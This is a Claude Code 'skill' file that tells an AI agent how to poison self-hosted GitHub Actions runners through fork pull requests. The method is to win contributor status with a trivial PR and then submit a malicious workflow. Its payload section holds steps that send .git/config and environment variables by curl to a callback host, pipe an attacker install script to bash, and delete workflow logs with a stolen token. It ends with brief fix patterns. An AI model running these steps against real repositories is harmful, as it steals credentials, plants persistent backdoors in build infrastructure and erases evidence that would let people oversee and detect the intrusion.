| name | self-hosted-runner-poisoning |
| description | Use when hunting self-hosted GitHub Actions runner vulnerabilities where fork pull requests can execute on privileged non-ephemeral runners. Trigger on: "self-hosted runner", "runs-on self-hosted", "fork PR workflow", "non-ephemeral runner", "first-time contributor approval", "runner images", "azure-builds runner", "outside collaborator approval", "runs-on matrix", "persistent runner", "Gato GitHub Attack Toolkit", "runner agent", self-hosted CI/CD runner abuse, "git config token", "workflow log deletion", runner C2.
|
| license | MIT |
| compatibility | Designed for Claude Code. Gato toolkit recommended for enumeration. |
| metadata | {"category":"cicd","version":"0.1","source":"https://adnanthekhan.com/2023/12/20/one-supply-chain-attack-to-rule-them-all/","source_types":"blog_post"} |
Self-Hosted Runner Poisoning
What Is Broken and Why
GitHub-hosted runners are ephemeral and isolated. Self-hosted runners are not — they
persist between runs, share state, and often carry long-lived credentials baked into the
environment. When a repository allows fork pull requests to run on self-hosted runners
(especially with the default "Require approval for first-time contributors" setting),
an attacker who has made even one accepted contribution can submit a PR that modifies
the workflow's runs-on field to target a privileged self-hosted runner and execute
arbitrary code on it. Non-ephemeral runners retain their working directory, installed
tooling, and cached credentials across runs — making them ideal for persistence and
lateral movement into the broader infrastructure.
Key Signals
runs-on: self-hosted or named runner labels (azure-builds, macos-vmware, [self-hosted, linux]) in workflow files
- Repository setting: "Require approval for first-time contributors" (default) rather than "Require approval for all outside collaborators"
- Fork PR workflows that use a
matrix.os or matrix.runner whose values the PR author can influence
- Non-ephemeral runner: runner directory persists, processes survive between runs
- Workflow checks out code without
persist-credentials: false → .git/config contains embedded GITHUB_TOKEN
runs-on field uses an expression: runs-on: ${{ matrix.os }} or runs-on: ${{ inputs.runner }}
- Secrets or cloud credentials (
AWS_*, AZURE_*, vCenter creds) available in runner environment
- Repository contains build infrastructure workflows (Packer, Terraform, image builds)
Methodology
- Identify repositories using self-hosted runners:
gato enumerate --target ORG --type org
grep -rn 'self-hosted\|runs-on:' .github/workflows/ | grep -v 'ubuntu-latest\|windows-latest\|macos-latest'
- Check the fork PR approval policy: Settings → Actions → Fork pull request workflows.
"Require approval for first-time contributors" = vulnerable after one merged PR.
- Check if
runs-on uses a matrix or expression that a PR author can modify.
- Submit one legitimate PR (typo fix, docs update) to gain "not first-time contributor" status.
- In a second PR, modify the workflow to:
- Change
runs-on to target a self-hosted runner label
- Replace or append a malicious step to the workflow
- Confirm code execution via OOB callback.
- From runner context: extract
.git/config for GITHUB_TOKEN, enumerate environment variables, access credential stores.
- Optionally install persistent runner agent for long-term access.
- Cover tracks: delete workflow run logs via API using stolen token.
Payloads & Tools
gato enumerate --target ORG --type org --output results.json
gato attack --target REPO --self-hosted
- runs-on: ubuntu-latest
+ runs-on: ${{ matrix.os }}
+ strategy:
+ matrix:
+ os: [self-hosted-runner-label]
- name: exfil
run: |
cat .git/config | base64 | curl -d @- https://CALLBACK
printenv | curl -d @- https://CALLBACK
- name: persist
run: |
curl -sSfL https://ATTACKER/runner-install.sh | bash
curl -L -X DELETE \
-H "Authorization: Bearer STOLEN_TOKEN" \
https://api.github.com/repos/ORG/REPO/actions/runs/RUN_ID
gh api repos/ORG/REPO/actions/runs --jq '.workflow_runs[].id'
Bypass Techniques
- First-time contributor bypass: submit one benign PR (typo, docs) to transition from "first-time contributor" to "returning contributor" — subsequent PRs skip approval
- Matrix expression hijack: if
runs-on: ${{ matrix.os }} and matrix is defined in a file the PR modifies, attacker controls the runner label
- Workflow file in subdirectory: some repos call reusable workflows stored in subdirectories; a PR modifying those files can alter
runs-on indirectly
- Composite action replacement: replace a composite action called by the workflow with malicious steps —
runs-on is inherited from the calling workflow
- Non-ephemeral state abuse: if runner is not ephemeral, artifacts from previous runs (cached tokens, SSH keys, build outputs) may be accessible in the working directory without needing fresh exfiltration
persist-credentials: true (default): actions/checkout embeds GITHUB_TOKEN in .git/config — readable by any subsequent step
Exploitation Scenarios
Scenario 1 — Infrastructure takeover via image build runner
Setup: Repository builds VM/container images using self-hosted runners with vCenter/Azure credentials. Fork PR approval requires only first-time contributor check.
Trigger: Attacker merges one typo-fix PR, then submits second PR modifying runs-on to target the build runner.
Impact: Runner environment yields vCenter admin credentials, Azure storage keys, SSH keys. Attacker can poison all future runner images deployed globally.
Scenario 2 — Persistent C2 via runner agent
Setup: Self-hosted runner is non-ephemeral (shared VM, no cleanup between runs).
Trigger: Malicious PR step installs a secondary GitHub Actions runner agent registered to attacker's private repo.
Impact: Attacker maintains persistent access to the runner machine — survives PR close, branch delete, and log wipe. Can re-trigger at will via private repo workflows.
Scenario 3 — Token theft + log deletion
Setup: Workflow uses default actions/checkout (persist-credentials: true).
Trigger: Malicious step reads .git/config, exfiltrates GITHUB_TOKEN with write permissions.
Impact: Attacker uses stolen token to push to protected branches, create releases, delete evidence (workflow logs deleted via API), and enumerate other secrets before token expires.
False Positives
- Self-hosted runners in a repo where fork PRs are fully disabled
- Approval policy set to "Require approval for all outside collaborators" — attacker's PR never runs
- Runner IS ephemeral (fresh VM per job) — persistence techniques don't apply, but token exfiltration still works
runs-on hardcoded (not an expression) — attacker cannot redirect to a different runner label via PR
Fix Patterns
runs-on: ${{ matrix.os }}
runs-on: ubuntu-latest
runs-on: [self-hosted, linux, internal]
- uses: actions/checkout@v4
- uses: actions/checkout@v4
with:
persist-credentials: false
- Change fork PR approval to "Require approval for all outside collaborators" (not just first-time)
- Use ephemeral runners (fresh VM per job) — eliminates persistence and state leakage
- Restrict self-hosted runners to internal workflows only; never allow fork PRs to target them
- Audit runner labels in all workflow files; alert on PRs that modify
runs-on values
- Rotate all credentials accessible from runner environments regularly
Related Skills
[[pwn-request]] is the most common trigger path that lands code on a self-hosted runner — a pull_request_target workflow that checks out PR code and runs it on a persistent self-hosted runner is the textbook combination. From there, [[github-actions-script-injection]] payloads can run to exfiltrate long-lived credentials stored in the runner environment. Once persistent access is established, [[github-actions-cache-poisoning]] can be executed from the compromised runner to poison downstream privileged workflows without requiring another PR.